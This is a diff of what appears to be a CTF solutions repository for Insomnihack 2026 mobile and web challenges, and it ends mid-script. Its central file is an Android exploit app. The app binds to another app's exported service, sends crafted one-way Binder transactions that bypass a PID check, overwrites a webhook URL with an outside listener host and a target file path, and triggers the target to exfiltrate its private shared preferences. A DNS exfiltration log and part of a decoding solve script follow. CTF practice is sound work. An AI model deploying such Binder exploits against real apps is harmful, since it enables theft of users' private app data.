mobile solve
34
2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/.gitignore
vendored
Normal file
@@ -0,0 +1,34 @@
|
||||
# Gradle files
|
||||
.gradle/
|
||||
build/
|
||||
|
||||
# Local configuration file (sdk path, etc)
|
||||
local.properties
|
||||
|
||||
# Log/OS Files
|
||||
*.log
|
||||
|
||||
# Android Studio generated files and folders
|
||||
captures/
|
||||
.externalNativeBuild/
|
||||
.cxx/
|
||||
*.aab
|
||||
*.apk
|
||||
output-metadata.json
|
||||
|
||||
# IntelliJ
|
||||
*.iml
|
||||
.idea/
|
||||
misc.xml
|
||||
deploymentTargetDropDown.xml
|
||||
render.experimental.xml
|
||||
|
||||
# Keystore files
|
||||
*.jks
|
||||
*.keystore
|
||||
|
||||
# Google Services (e.g. APIs or Firebase)
|
||||
google-services.json
|
||||
|
||||
# Android Profiling
|
||||
*.hprof
|
||||
@@ -0,0 +1,46 @@
|
||||
plugins {
|
||||
alias(libs.plugins.android.application)
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.hacker.exploit"
|
||||
compileSdk {
|
||||
version = release(36) {
|
||||
minorApiLevel = 1
|
||||
}
|
||||
}
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.hacker.exploit"
|
||||
minSdk = 26
|
||||
targetSdk = 36
|
||||
versionCode = 1
|
||||
versionName = "1.0"
|
||||
|
||||
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
proguardFiles(
|
||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||
"proguard-rules.pro"
|
||||
)
|
||||
}
|
||||
}
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_11
|
||||
targetCompatibility = JavaVersion.VERSION_11
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(libs.appcompat)
|
||||
implementation(libs.material)
|
||||
implementation(libs.activity)
|
||||
implementation(libs.constraintlayout)
|
||||
testImplementation(libs.junit)
|
||||
androidTestImplementation(libs.ext.junit)
|
||||
androidTestImplementation(libs.espresso.core)
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package com.hacker.exploit;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import androidx.test.platform.app.InstrumentationRegistry;
|
||||
import androidx.test.ext.junit.runners.AndroidJUnit4;
|
||||
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
|
||||
import static org.junit.Assert.*;
|
||||
|
||||
/**
|
||||
* Instrumented test, which will execute on an Android device.
|
||||
*
|
||||
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
|
||||
*/
|
||||
@RunWith(AndroidJUnit4.class)
|
||||
public class ExampleInstrumentedTest {
|
||||
@Test
|
||||
public void useAppContext() {
|
||||
// Context of the app under test.
|
||||
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
|
||||
assertEquals("com.hacker.exploit", appContext.getPackageName());
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,10 @@
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools">
|
||||
|
||||
<queries>
|
||||
<package android:name="com.peaky.binders" />
|
||||
</queries>
|
||||
|
||||
<application
|
||||
android:allowBackup="true"
|
||||
android:dataExtractionRules="@xml/data_extraction_rules"
|
||||
@@ -10,15 +14,13 @@
|
||||
android:label="@string/app_name"
|
||||
android:roundIcon="@mipmap/ic_launcher_round"
|
||||
android:supportsRtl="true"
|
||||
android:theme="@style/Theme.PeakyBlindersExploit">
|
||||
android:theme="@style/Theme.ShelbyExploit"
|
||||
tools:targetApi="31">
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true"
|
||||
android:label="@string/app_name"
|
||||
android:theme="@style/Theme.PeakyBlindersExploit">
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
@@ -0,0 +1,94 @@
|
||||
package com.hacker.exploit;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.content.ComponentName;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.ServiceConnection;
|
||||
import android.os.Bundle;
|
||||
import android.os.IBinder;
|
||||
import android.os.Parcel;
|
||||
import android.os.RemoteException;
|
||||
import android.util.Log;
|
||||
|
||||
public class MainActivity extends Activity {
|
||||
private static final String TAG = "Exploit";
|
||||
private IBinder peakyBinder;
|
||||
private static final String WEBHOOK_URL = "http://listener.cato447.de";
|
||||
private static final String TARGET_FILE = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
|
||||
|
||||
private ServiceConnection connection = new ServiceConnection() {
|
||||
@Override
|
||||
public void onServiceConnected(ComponentName name, IBinder service) {
|
||||
Log.d(TAG, "Connected to PeakyService!");
|
||||
peakyBinder = service;
|
||||
|
||||
// Run exploit in a background thread so we don't freeze the UI
|
||||
new Thread(() -> runExploit()).start();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onServiceDisconnected(ComponentName name) {
|
||||
Log.d(TAG, "Disconnected!");
|
||||
}
|
||||
};
|
||||
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
Log.d(TAG, "Starting exploit app...");
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService");
|
||||
bindService(intent, connection, Context.BIND_AUTO_CREATE);
|
||||
}
|
||||
|
||||
private void runExploit() {
|
||||
try {
|
||||
Log.d(TAG, "Overwriting Webhook URL...");
|
||||
// 1. Overwrite Webhook URL
|
||||
String WEBHOOK = "http://listener.cato447.de";
|
||||
for (int i = 0; i < WEBHOOK.length(); i++) {
|
||||
sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK.charAt(i)).getBytes());
|
||||
Thread.sleep(50);
|
||||
}
|
||||
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
|
||||
sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK.length())) + ":").getBytes());
|
||||
|
||||
|
||||
// 2. Overwrite File Path
|
||||
String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml";
|
||||
for (int i = 0; i < TARGET.length(); i++) {
|
||||
sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes());
|
||||
Thread.sleep(50);
|
||||
}
|
||||
// THE FIX: Leave it blank after the colon! v23 defaults to 0x00
|
||||
sendOnewayTransaction(("PARTIAL:" + (-(65 + TARGET.length())) + ":").getBytes());
|
||||
|
||||
// 3. Trigger Exfiltration
|
||||
sendOnewayTransaction("FULL:0:X".getBytes());
|
||||
// explicitly send a null byte
|
||||
String fileNullPayload = "PARTIAL:" + -(65 + TARGET_FILE.length()) + ":\0";
|
||||
sendOnewayTransaction(fileNullPayload.getBytes());
|
||||
|
||||
Log.d(TAG, "Triggering Exfiltration...");
|
||||
// 3. Trigger the file read and HTTP POST
|
||||
sendOnewayTransaction("FULL:0:X".getBytes());
|
||||
Log.d(TAG, "Exploit sent! Check your webhook.");
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(TAG, "Exploit failed", e);
|
||||
}
|
||||
}
|
||||
|
||||
private void sendOnewayTransaction(byte[] payload) throws RemoteException {
|
||||
Parcel data = Parcel.obtain();
|
||||
data.writeInterfaceToken("com.peaky.binders.IPeakyService");
|
||||
data.writeByteArray(payload);
|
||||
|
||||
// 1 = TRANSACTION_DebugCheckFile
|
||||
// 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!)
|
||||
peakyBinder.transact(1, data, null, 1);
|
||||
data.recycle();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
android:id="@+id/main"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
tools:context=".MainActivity">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Hello World!"
|
||||
app:layout_constraintBottom_toBottomOf="parent"
|
||||
app:layout_constraintEnd_toEndOf="parent"
|
||||
app:layout_constraintStart_toStartOf="parent"
|
||||
app:layout_constraintTop_toTopOf="parent" />
|
||||
|
||||
</androidx.constraintlayout.widget.ConstraintLayout>
|
||||
|
Before Width: | Height: | Size: 1.4 KiB After Width: | Height: | Size: 1.4 KiB |
|
Before Width: | Height: | Size: 2.8 KiB After Width: | Height: | Size: 2.8 KiB |
|
Before Width: | Height: | Size: 982 B After Width: | Height: | Size: 982 B |
|
Before Width: | Height: | Size: 1.7 KiB After Width: | Height: | Size: 1.7 KiB |
|
Before Width: | Height: | Size: 1.9 KiB After Width: | Height: | Size: 1.9 KiB |
|
Before Width: | Height: | Size: 3.8 KiB After Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 2.8 KiB After Width: | Height: | Size: 2.8 KiB |
|
Before Width: | Height: | Size: 5.8 KiB After Width: | Height: | Size: 5.8 KiB |
|
Before Width: | Height: | Size: 3.8 KiB After Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 7.6 KiB After Width: | Height: | Size: 7.6 KiB |
@@ -0,0 +1,7 @@
|
||||
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||
<!-- Base application theme. -->
|
||||
<style name="Base.Theme.ShelbyExploit" parent="Theme.Material3.DayNight.NoActionBar">
|
||||
<!-- Customize your dark theme here. -->
|
||||
<!-- <item name="colorPrimary">@color/my_dark_primary</item> -->
|
||||
</style>
|
||||
</resources>
|
||||
@@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="white">#FFFFFFFF</color>
|
||||
</resources>
|
||||
@@ -0,0 +1,3 @@
|
||||
<resources>
|
||||
<string name="app_name">ShelbyExploit</string>
|
||||
</resources>
|
||||
@@ -0,0 +1,9 @@
|
||||
<resources xmlns:tools="http://schemas.android.com/tools">
|
||||
<!-- Base application theme. -->
|
||||
<style name="Base.Theme.ShelbyExploit" parent="Theme.Material3.DayNight.NoActionBar">
|
||||
<!-- Customize your light theme here. -->
|
||||
<!-- <item name="colorPrimary">@color/my_light_primary</item> -->
|
||||
</style>
|
||||
|
||||
<style name="Theme.ShelbyExploit" parent="Base.Theme.ShelbyExploit" />
|
||||
</resources>
|
||||
@@ -0,0 +1,17 @@
|
||||
package com.hacker.exploit;
|
||||
|
||||
import org.junit.Test;
|
||||
|
||||
import static org.junit.Assert.*;
|
||||
|
||||
/**
|
||||
* Example local unit test, which will execute on the development machine (host).
|
||||
*
|
||||
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
|
||||
*/
|
||||
public class ExampleUnitTest {
|
||||
@Test
|
||||
public void addition_isCorrect() {
|
||||
assertEquals(4, 2 + 2);
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,4 @@
|
||||
// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||
plugins {
|
||||
alias(libs.plugins.android.application) apply false
|
||||
alias(libs.plugins.kotlin.compose) apply false
|
||||
}
|
||||
@@ -10,6 +10,4 @@ org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
# When configured, Gradle will run in incubating parallel mode.
|
||||
# This option should only be used with decoupled projects. For more details, visit
|
||||
# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
|
||||
# org.gradle.parallel=true
|
||||
# Kotlin code style for this project: "official" or "obsolete":
|
||||
kotlin.code.style=official
|
||||
# org.gradle.parallel=true
|
||||
@@ -0,0 +1,12 @@
|
||||
#This file is generated by updateDaemonJvm
|
||||
toolchainUrl.FREE_BSD.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
|
||||
toolchainUrl.FREE_BSD.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
|
||||
toolchainUrl.LINUX.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
|
||||
toolchainUrl.LINUX.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
|
||||
toolchainUrl.MAC_OS.AARCH64=https\://api.foojay.io/disco/v3.0/ids/73bcfb608d1fde9fb62e462f834a3299/redirect
|
||||
toolchainUrl.MAC_OS.X86_64=https\://api.foojay.io/disco/v3.0/ids/846ee0d876d26a26f37aa1ce8de73224/redirect
|
||||
toolchainUrl.UNIX.AARCH64=https\://api.foojay.io/disco/v3.0/ids/ec7520a1e057cd116f9544c42142a16b/redirect
|
||||
toolchainUrl.UNIX.X86_64=https\://api.foojay.io/disco/v3.0/ids/4c4f879899012ff0a8b2e2117df03b0e/redirect
|
||||
toolchainUrl.WINDOWS.AARCH64=https\://api.foojay.io/disco/v3.0/ids/9482ddec596298c84656d31d16652665/redirect
|
||||
toolchainUrl.WINDOWS.X86_64=https\://api.foojay.io/disco/v3.0/ids/39701d92e1756bb2f141eb67cd4c660e/redirect
|
||||
toolchainVersion=21
|
||||
@@ -0,0 +1,22 @@
|
||||
[versions]
|
||||
agp = "9.1.0"
|
||||
junit = "4.13.2"
|
||||
junitVersion = "1.1.5"
|
||||
espressoCore = "3.5.1"
|
||||
appcompat = "1.6.1"
|
||||
material = "1.10.0"
|
||||
activity = "1.8.0"
|
||||
constraintlayout = "2.1.4"
|
||||
|
||||
[libraries]
|
||||
junit = { group = "junit", name = "junit", version.ref = "junit" }
|
||||
ext-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
|
||||
espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
|
||||
appcompat = { group = "androidx.appcompat", name = "appcompat", version.ref = "appcompat" }
|
||||
material = { group = "com.google.android.material", name = "material", version.ref = "material" }
|
||||
activity = { group = "androidx.activity", name = "activity", version.ref = "activity" }
|
||||
constraintlayout = { group = "androidx.constraintlayout", name = "constraintlayout", version.ref = "constraintlayout" }
|
||||
|
||||
[plugins]
|
||||
android-application = { id = "com.android.application", version.ref = "agp" }
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#Fri Mar 20 20:01:17 CET 2026
|
||||
#Fri Mar 20 22:06:18 CET 2026
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionSha256Sum=b266d5ff6b90eada6dc3b20cb090e3731302e553a27c5d3e4df1f0d76beaff06
|
||||
@@ -22,5 +22,5 @@ dependencyResolutionManagement {
|
||||
}
|
||||
}
|
||||
|
||||
rootProject.name = "PeakyBlindersExploit"
|
||||
rootProject.name = "ShelbyExploit"
|
||||
include(":app")
|
||||
@@ -1,15 +0,0 @@
|
||||
*.iml
|
||||
.gradle
|
||||
/local.properties
|
||||
/.idea/caches
|
||||
/.idea/libraries
|
||||
/.idea/modules.xml
|
||||
/.idea/workspace.xml
|
||||
/.idea/navEditor.xml
|
||||
/.idea/assetWizardSettings.xml
|
||||
.DS_Store
|
||||
/build
|
||||
/captures
|
||||
.externalNativeBuild
|
||||
.cxx
|
||||
local.properties
|
||||
@@ -1,58 +0,0 @@
|
||||
plugins {
|
||||
alias(libs.plugins.android.application)
|
||||
alias(libs.plugins.kotlin.compose)
|
||||
}
|
||||
|
||||
android {
|
||||
namespace = "com.example.peakyblindersexploit"
|
||||
compileSdk {
|
||||
version = release(36) {
|
||||
minorApiLevel = 1
|
||||
}
|
||||
}
|
||||
|
||||
defaultConfig {
|
||||
applicationId = "com.example.peakyblindersexploit"
|
||||
minSdk = 24
|
||||
targetSdk = 36
|
||||
versionCode = 1
|
||||
versionName = "1.0"
|
||||
|
||||
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
isMinifyEnabled = false
|
||||
proguardFiles(
|
||||
getDefaultProguardFile("proguard-android-optimize.txt"),
|
||||
"proguard-rules.pro"
|
||||
)
|
||||
}
|
||||
}
|
||||
compileOptions {
|
||||
sourceCompatibility = JavaVersion.VERSION_11
|
||||
targetCompatibility = JavaVersion.VERSION_11
|
||||
}
|
||||
buildFeatures {
|
||||
compose = true
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(libs.androidx.core.ktx)
|
||||
implementation(libs.androidx.lifecycle.runtime.ktx)
|
||||
implementation(libs.androidx.activity.compose)
|
||||
implementation(platform(libs.androidx.compose.bom))
|
||||
implementation(libs.androidx.compose.ui)
|
||||
implementation(libs.androidx.compose.ui.graphics)
|
||||
implementation(libs.androidx.compose.ui.tooling.preview)
|
||||
implementation(libs.androidx.compose.material3)
|
||||
testImplementation(libs.junit)
|
||||
androidTestImplementation(libs.androidx.junit)
|
||||
androidTestImplementation(libs.androidx.espresso.core)
|
||||
androidTestImplementation(platform(libs.androidx.compose.bom))
|
||||
androidTestImplementation(libs.androidx.compose.ui.test.junit4)
|
||||
debugImplementation(libs.androidx.compose.ui.tooling)
|
||||
debugImplementation(libs.androidx.compose.ui.test.manifest)
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package com.example.peakyblindersexploit
|
||||
|
||||
import androidx.test.platform.app.InstrumentationRegistry
|
||||
import androidx.test.ext.junit.runners.AndroidJUnit4
|
||||
|
||||
import org.junit.Test
|
||||
import org.junit.runner.RunWith
|
||||
|
||||
import org.junit.Assert.*
|
||||
|
||||
/**
|
||||
* Instrumented test, which will execute on an Android device.
|
||||
*
|
||||
* See [testing documentation](http://d.android.com/tools/testing).
|
||||
*/
|
||||
@RunWith(AndroidJUnit4::class)
|
||||
class ExampleInstrumentedTest {
|
||||
@Test
|
||||
fun useAppContext() {
|
||||
// Context of the app under test.
|
||||
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
|
||||
assertEquals("com.example.peakyblindersexploit", appContext.packageName)
|
||||
}
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
package com.example.peakyblindersexploit
|
||||
|
||||
class AchievementReceiver {
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
package com.example.peakyblindersexploit
|
||||
|
||||
import android.os.Bundle
|
||||
import androidx.activity.ComponentActivity
|
||||
import androidx.activity.compose.setContent
|
||||
import androidx.activity.enableEdgeToEdge
|
||||
import androidx.compose.foundation.layout.fillMaxSize
|
||||
import androidx.compose.foundation.layout.padding
|
||||
import androidx.compose.material3.Scaffold
|
||||
import androidx.compose.material3.Text
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.compose.ui.tooling.preview.Preview
|
||||
import com.example.peakyblindersexploit.ui.theme.PeakyBlindersExploitTheme
|
||||
|
||||
class MainActivity : ComponentActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
enableEdgeToEdge()
|
||||
setContent {
|
||||
PeakyBlindersExploitTheme {
|
||||
Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
|
||||
Greeting(
|
||||
name = "Android",
|
||||
modifier = Modifier.padding(innerPadding)
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Composable
|
||||
fun Greeting(name: String, modifier: Modifier = Modifier) {
|
||||
Text(
|
||||
text = "Hello $name!",
|
||||
modifier = modifier
|
||||
)
|
||||
}
|
||||
|
||||
@Preview(showBackground = true)
|
||||
@Composable
|
||||
fun GreetingPreview() {
|
||||
PeakyBlindersExploitTheme {
|
||||
Greeting("Android")
|
||||
}
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
package com.example.peakyblindersexploit.ui.theme
|
||||
|
||||
import androidx.compose.ui.graphics.Color
|
||||
|
||||
val Purple80 = Color(0xFFD0BCFF)
|
||||
val PurpleGrey80 = Color(0xFFCCC2DC)
|
||||
val Pink80 = Color(0xFFEFB8C8)
|
||||
|
||||
val Purple40 = Color(0xFF6650a4)
|
||||
val PurpleGrey40 = Color(0xFF625b71)
|
||||
val Pink40 = Color(0xFF7D5260)
|
||||
@@ -1,58 +0,0 @@
|
||||
package com.example.peakyblindersexploit.ui.theme
|
||||
|
||||
import android.app.Activity
|
||||
import android.os.Build
|
||||
import androidx.compose.foundation.isSystemInDarkTheme
|
||||
import androidx.compose.material3.MaterialTheme
|
||||
import androidx.compose.material3.darkColorScheme
|
||||
import androidx.compose.material3.dynamicDarkColorScheme
|
||||
import androidx.compose.material3.dynamicLightColorScheme
|
||||
import androidx.compose.material3.lightColorScheme
|
||||
import androidx.compose.runtime.Composable
|
||||
import androidx.compose.ui.platform.LocalContext
|
||||
|
||||
private val DarkColorScheme = darkColorScheme(
|
||||
primary = Purple80,
|
||||
secondary = PurpleGrey80,
|
||||
tertiary = Pink80
|
||||
)
|
||||
|
||||
private val LightColorScheme = lightColorScheme(
|
||||
primary = Purple40,
|
||||
secondary = PurpleGrey40,
|
||||
tertiary = Pink40
|
||||
|
||||
/* Other default colors to override
|
||||
background = Color(0xFFFFFBFE),
|
||||
surface = Color(0xFFFFFBFE),
|
||||
onPrimary = Color.White,
|
||||
onSecondary = Color.White,
|
||||
onTertiary = Color.White,
|
||||
onBackground = Color(0xFF1C1B1F),
|
||||
onSurface = Color(0xFF1C1B1F),
|
||||
*/
|
||||
)
|
||||
|
||||
@Composable
|
||||
fun PeakyBlindersExploitTheme(
|
||||
darkTheme: Boolean = isSystemInDarkTheme(),
|
||||
// Dynamic color is available on Android 12+
|
||||
dynamicColor: Boolean = true,
|
||||
content: @Composable () -> Unit
|
||||
) {
|
||||
val colorScheme = when {
|
||||
dynamicColor && Build.VERSION.SDK_INT >= Build.VERSION_CODES.S -> {
|
||||
val context = LocalContext.current
|
||||
if (darkTheme) dynamicDarkColorScheme(context) else dynamicLightColorScheme(context)
|
||||
}
|
||||
|
||||
darkTheme -> DarkColorScheme
|
||||
else -> LightColorScheme
|
||||
}
|
||||
|
||||
MaterialTheme(
|
||||
colorScheme = colorScheme,
|
||||
typography = Typography,
|
||||
content = content
|
||||
)
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package com.example.peakyblindersexploit.ui.theme
|
||||
|
||||
import androidx.compose.material3.Typography
|
||||
import androidx.compose.ui.text.TextStyle
|
||||
import androidx.compose.ui.text.font.FontFamily
|
||||
import androidx.compose.ui.text.font.FontWeight
|
||||
import androidx.compose.ui.unit.sp
|
||||
|
||||
// Set of Material typography styles to start with
|
||||
val Typography = Typography(
|
||||
bodyLarge = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Normal,
|
||||
fontSize = 16.sp,
|
||||
lineHeight = 24.sp,
|
||||
letterSpacing = 0.5.sp
|
||||
)
|
||||
/* Other default text styles to override
|
||||
titleLarge = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Normal,
|
||||
fontSize = 22.sp,
|
||||
lineHeight = 28.sp,
|
||||
letterSpacing = 0.sp
|
||||
),
|
||||
labelSmall = TextStyle(
|
||||
fontFamily = FontFamily.Default,
|
||||
fontWeight = FontWeight.Medium,
|
||||
fontSize = 11.sp,
|
||||
lineHeight = 16.sp,
|
||||
letterSpacing = 0.5.sp
|
||||
)
|
||||
*/
|
||||
)
|
||||
@@ -1,10 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="purple_200">#FFBB86FC</color>
|
||||
<color name="purple_500">#FF6200EE</color>
|
||||
<color name="purple_700">#FF3700B3</color>
|
||||
<color name="teal_200">#FF03DAC5</color>
|
||||
<color name="teal_700">#FF018786</color>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="white">#FFFFFFFF</color>
|
||||
</resources>
|
||||
@@ -1,3 +0,0 @@
|
||||
<resources>
|
||||
<string name="app_name">PeakyBlindersExploit</string>
|
||||
</resources>
|
||||
@@ -1,5 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
|
||||
<style name="Theme.PeakyBlindersExploit" parent="android:Theme.Material.Light.NoActionBar" />
|
||||
</resources>
|
||||
@@ -1,17 +0,0 @@
|
||||
package com.example.peakyblindersexploit
|
||||
|
||||
import org.junit.Test
|
||||
|
||||
import org.junit.Assert.*
|
||||
|
||||
/**
|
||||
* Example local unit test, which will execute on the development machine (host).
|
||||
*
|
||||
* See [testing documentation](http://d.android.com/tools/testing).
|
||||
*/
|
||||
class ExampleUnitTest {
|
||||
@Test
|
||||
fun addition_isCorrect() {
|
||||
assertEquals(4, 2 + 2)
|
||||
}
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
[versions]
|
||||
agp = "9.1.0"
|
||||
coreKtx = "1.10.1"
|
||||
junit = "4.13.2"
|
||||
junitVersion = "1.1.5"
|
||||
espressoCore = "3.5.1"
|
||||
lifecycleRuntimeKtx = "2.6.1"
|
||||
activityCompose = "1.8.0"
|
||||
kotlin = "2.2.10"
|
||||
composeBom = "2024.09.00"
|
||||
|
||||
[libraries]
|
||||
androidx-core-ktx = { group = "androidx.core", name = "core-ktx", version.ref = "coreKtx" }
|
||||
junit = { group = "junit", name = "junit", version.ref = "junit" }
|
||||
androidx-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
|
||||
androidx-espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
|
||||
androidx-lifecycle-runtime-ktx = { group = "androidx.lifecycle", name = "lifecycle-runtime-ktx", version.ref = "lifecycleRuntimeKtx" }
|
||||
androidx-activity-compose = { group = "androidx.activity", name = "activity-compose", version.ref = "activityCompose" }
|
||||
androidx-compose-bom = { group = "androidx.compose", name = "compose-bom", version.ref = "composeBom" }
|
||||
androidx-compose-ui = { group = "androidx.compose.ui", name = "ui" }
|
||||
androidx-compose-ui-graphics = { group = "androidx.compose.ui", name = "ui-graphics" }
|
||||
androidx-compose-ui-tooling = { group = "androidx.compose.ui", name = "ui-tooling" }
|
||||
androidx-compose-ui-tooling-preview = { group = "androidx.compose.ui", name = "ui-tooling-preview" }
|
||||
androidx-compose-ui-test-manifest = { group = "androidx.compose.ui", name = "ui-test-manifest" }
|
||||
androidx-compose-ui-test-junit4 = { group = "androidx.compose.ui", name = "ui-test-junit4" }
|
||||
androidx-compose-material3 = { group = "androidx.compose.material3", name = "material3" }
|
||||
|
||||
[plugins]
|
||||
android-application = { id = "com.android.application", version.ref = "agp" }
|
||||
kotlin-compose = { id = "org.jetbrains.kotlin.plugin.compose", version.ref = "kotlin" }
|
||||
|
||||
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so
Normal file
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so.id0
Normal file
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so.id1
Normal file
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so.id2
Normal file
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so.nam
Normal file
BIN
2026/insomnihack/mobile/peaky_blinders/libpeaky.so.til
Normal file
@@ -0,0 +1,4 @@
|
||||
DNS lookup of type A for the domain name lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
|
||||
DNS lookup of type A for the domain name odLlOGewnJy0nWyW.523.lf42h9h2r5KlLjOq76Xl3ZVN1E75vVJK.oAsTIfy.com.
|
||||
DNS lookup of type A for the domain name lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.
|
||||
DNS lookup of type A for the domain name Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq.190.lf42H9H2R5kLljOq76xL3ZvN1e75vVJK.OAStIFY.coM.
|
||||
96
2026/insomnihack/web/Exfailtrator/solve.py
Normal file
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Solve script for DNS 0x20 exfiltration challenge.
|
||||
|
||||
The webshell exfiltrates data via DNS by:
|
||||
1. base64-encoding the content (with + and / replaced by -)
|
||||
2. prepending a 3-char MD5 checksum
|
||||
3. performing a DNS_A lookup for: {base64}.{checksum}.{attacker_domain}
|
||||
|
||||
DNS 0x20 encoding preserves the case of query labels in the response,
|
||||
meaning the mixed-case payload in the DNS log IS the original base64.
|
||||
|
||||
However, intermediate resolvers may have corrupted some letter cases,
|
||||
so we reconstruct the correct capitalisation by:
|
||||
- splitting the payload into groups of 4 base64 characters
|
||||
- trying all case variants per group
|
||||
- keeping only variants that decode to printable ASCII
|
||||
- finding the combination whose MD5[:3] matches the checksum in the log
|
||||
"""
|
||||
|
||||
import base64
|
||||
from hashlib import md5
|
||||
from itertools import product
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Paste the data label and checksum from the 0x20-encoded DNS log entry here
|
||||
# ---------------------------------------------------------------------------
|
||||
PAYLOAD = "Su5tE1QwdDRSBHLfBJn2zXjFAgFWcdNUzWQTAxjSLtfLodhjMtUzfq"
|
||||
CHECKSUM = "190" # first 3 hex chars of md5(flag)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def reverse_strtr(s: str) -> str:
|
